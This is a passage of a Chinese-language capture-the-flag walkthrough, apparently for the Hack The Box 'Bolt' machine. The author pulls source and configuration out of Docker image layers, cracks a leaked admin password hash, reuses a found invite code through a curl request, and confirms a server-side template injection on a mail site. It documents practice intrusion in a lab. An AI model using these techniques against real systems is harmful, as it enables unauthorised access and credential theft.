code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># cat forms.py </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># uncompyle6 version 3.8.0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Python bytecode 3.6 (3379)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Decompiled from: Python 3.9.7 (default, Sep 24 2021, 09:43:00) </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># [GCC 10.3.0]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Embedded file name: /app/base/forms.py</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Compiled at: 2021-03-05 12:48:36</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># Size of source mod 2**32: 791 bytes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">Copyright (c) 2019 - present AppSeed.us</span></code><code><span class="code-snippet_outer">&#34;&#34;&#34;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> flask_wtf <span class="code-snippet__keyword">import</span> FlaskForm</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> wtforms <span class="code-snippet__keyword">import</span> TextField, PasswordField</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> wtforms.validators <span class="code-snippet__keyword">import</span> InputRequired, Email, DataRequired</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LoginForm</span><span class="code-snippet__params">(FlaskForm)</span>:</span></span></code><code><span class="code-snippet_outer">    username = TextField(<span class="code-snippet__string">&#39;Username&#39;</span>, id=<span class="code-snippet__string">&#39;username_login&#39;</span>, validators=[DataRequired()])</span></code><code><span class="code-snippet_outer">    password = PasswordField(<span class="code-snippet__string">&#39;Password&#39;</span>, id=<span class="code-snippet__string">&#39;pwd_login&#39;</span>, validators=[DataRequired()])</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CreateAccountForm</span><span class="code-snippet__params">(FlaskForm)</span>:</span></span></code><code><span class="code-snippet_outer">    username = TextField(<span class="code-snippet__string">&#39;Username&#39;</span>, id=<span class="code-snippet__string">&#39;username_create&#39;</span>, validators=[DataRequired()])</span></code><code><span class="code-snippet_outer">    email = TextField(<span class="code-snippet__string">&#39;Email&#39;</span>, id=<span class="code-snippet__string">&#39;email_create&#39;</span>, validators=[DataRequired(), Email()])</span></code><code><span class="code-snippet_outer">    password = PasswordField(<span class="code-snippet__string">&#39;Password&#39;</span>, id=<span class="code-snippet__string">&#39;pwd_create&#39;</span>, validators=[DataRequired()])</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># okay decompiling forms.cpython-36.pyc</span></span></code><code><span class="code-snippet_outer">                                         </span></code></pre><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">东西太多， 先看哪些重要的</span></p><pre spellcheck="false" lang="python" cid="n18" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">a</span>:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">os</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">system</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;tar -tvf&#34;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">i</span>)</span></pre><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">几个特殊的文件列一下：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root     16384 2021-03-05 12:44 db.sqlite3</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root       791 2021-03-05 12:48 app/base/forms.py</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root      3778 2021-03-05 12:49 app/base/routes.py</span></span></code><code><span class="code-snippet_outer">745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root       142 2021-03-05 06:11 .env</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root      1448 2021-03-05 09:22 config.py</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root       198 2021-03-05 06:11 gunicorn-cfg.py</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root       116 2021-03-05 07:40 requirements.txt</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r-- root/root       955 2021-03-05 06:11 run.py</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">config.py</code></span><span md-inline="plain" style="box-sizing: border-box;">文件中有一个sqllite3连接和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">postfreSQl</code></span><span md-inline="plain" style="box-sizing: border-box;">数据库的账号密码。</span></p><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;"></span></p><pre spellcheck="false" lang="python" cid="n22" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">#PostgreSQL database</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">SQLALCHEMY_DATABASE_URI</span> = <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;{}://{}:{}@{}:{}/{}&#39;</span>.<span style="box-sizing: border-box;color: rgb(0, 0, 0);">format</span>(</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_ENGINE&#39;</span>   , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;postgresql&#39;</span>    ),</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_USERNAME&#39;</span> , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;appseed&#39;</span>       ),</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_PASS&#39;</span>     , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;pass&#39;</span>          ),</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_HOST&#39;</span>     , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;localhost&#39;</span>     ),</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_PORT&#39;</span>     , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(17, 102, 68);">5432</span>            ),</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">config</span>( <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;DB_NAME&#39;</span>     , <span style="box-sizing: border-box;color: rgb(0, 0, 0);">default</span>=<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;appseed-flask&#39;</span> )</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    )</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="179" data-backw="578" data-galleryid="" data-ratio="0.3092682926829268" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1025" src="https://wechat2rss.xlab.app/img-proxy/?k=9d2bab27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY5icIvicjYIhicoUDlqBKVQstTInMpibcMMPcGaZ2IcvqQrM9r1SQsdcrDw%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" lang="bash" cid="n24" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">admin<span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">   </span>admin@bolt.htb<span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">  </span><span style="box-sizing: border-box;color: rgb(0, 0, 255);">$1$sm1RceCh$rSd3PygnS</span>/6jlFDfF2J5q.</span></pre><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">密码密文。通过接口login可以发现接口是这样加密的</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># read form data</span></span></code><code><span class="code-snippet_outer">        username = request.form[<span class="code-snippet__string">&#39;username&#39;</span>]</span></code><code><span class="code-snippet_outer">        password = request.form[<span class="code-snippet__string">&#39;password&#39;</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Locate user</span></span></code><code><span class="code-snippet_outer">        user = User.query.filter_by(username=username).first()</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># Check the password</span></span></code><code><span class="code-snippet_outer">        stored_password = user.password</span></code><code><span class="code-snippet_outer">        stored_password = stored_password.decode(<span class="code-snippet__string">&#39;utf-8&#39;</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> user <span class="code-snippet__keyword">and</span> compare_hash(stored_password,crypt.crypt(password,stored_password)):</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            login_user(user)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> redirect(url_for(<span class="code-snippet__string">&#39;base_blueprint.route_default&#39;</span>))</span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">根据代码逻辑，关键在于使用username 查询后创建了一个user对象。用户登录的条件是用户存在，且用户密码和用户原始密码（用密文当盐）的加密相比的，竟然能等于原来的值。一脸懵逼。解密出如下密码：</span></p><pre spellcheck="false" lang="" cid="n28" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">admin/deadbolt</span></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="478" data-backw="578" data-galleryid="" data-ratio="0.827313769751693" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="886" src="https://wechat2rss.xlab.app/img-proxy/?k=65e2195c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYtVXiareyWHLMLeF8njCh2peV591XMcXazX4yOwIwgyuFHwZrViaEX8bg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n30" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">到这里感觉没东西了</span></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">扫描一下vhost,找到两个子域名 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">demo</code></span><span md-inline="plain" style="box-sizing: border-box;"> 和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mail</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="276" data-backw="578" data-galleryid="" data-ratio="0.4777936962750716" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1396" src="https://wechat2rss.xlab.app/img-proxy/?k=895e55a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYaichNpOrpx7wkV1YBZ3auhsJF8Yia2BO9S28hhGoDF3fz7xLSpuVTccg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">现在有三个网站了。</span></p><pre spellcheck="false" lang="" cid="n34" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">demo.bolt.htb#一个登录界面，能够创建用户，需要一个invite code</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mail.boot.htb  #一个登录界面</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">passbolt.bolt.htb AdminLTE3</span></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="638" data-backw="578" data-galleryid="" data-ratio="1.1031652989449003" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="853" src="https://wechat2rss.xlab.app/img-proxy/?k=ba430d6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYicbQdY5yJjTvmQMUtx2Q3jEYiataeicfwdwxfAOWbZaKHk9fZ3sz6TiaOQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">config.py</code></span><span md-inline="plain" style="box-sizing: border-box;">中还配置了一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SECRET_KEY</code></span><span md-inline="plain" style="box-sizing: border-box;"> </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">default=&#39;S#perS3crEt_007&#39;</code></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">尝试一下不行</span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">找了好久找到了</span></p><pre spellcheck="false" lang="" cid="n39" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&#39;XNSS-HSJW-3NGU-8XTJ&#39;</span></pre><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><br/></p><pre spellcheck="false" lang="" cid="n41" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">curl -i -s -k -X $&#39;POST&#39; \</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    -H $&#39;Host: demo.bolt.htb&#39; \</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    --data-binary $&#39;\x0d\x0ausername=123&amp;email=123@qq.com&amp;password=123&amp;invite_code=XNSS-HSJW-3NGU-8XTJ&#39; \</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    $&#39;http://demo.bolt.htb/register&#39;</span></pre><p cid="n42" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">注册后发现可以登录mail，mail应该是一个邮件服务器。</span></p><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">邮件服务可以登录,发现修改一下配置，会收到一个邮件？？？因为是pyhon的尝试模版注入。</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="293" data-backw="578" data-galleryid="" data-ratio="0.5061823802163833" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1294" src="https://wechat2rss.xlab.app/img-proxy/?k=e5ff9809&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYBj7Tj7HNmjGhBvModkOQgTRGL8EoSYuEKoOTVWkpic0ZdbCc6ib8wkow%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="148" data-backw="578" data-galleryid="" data-ratio="0.25634352635003255" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1537" src="https://wechat2rss.xlab.app/img-proxy/?k=1b9489d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYKyWr9ZuLx6Stic64v3Fmict410e83DwgZwaPC2t5yXFQ95ibk31IMXBSQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">点击后，发现一个新的邮件,出现了10000,说明name参数处存在SSTI注入漏洞。</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="191" data-backw="578" data-galleryid="" data-ratio="0.3305709023941068" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1086" src="https://wechat2rss.xlab.app/img-proxy/?k=774c1d1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYjGnAXK06IUhxMFy0liba0lrQIiczdNz6cDuyBbjeI3X4HzACbe8wYtFg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><pre spellcheck="false" lang="" cid="n48" mdtype="fences" 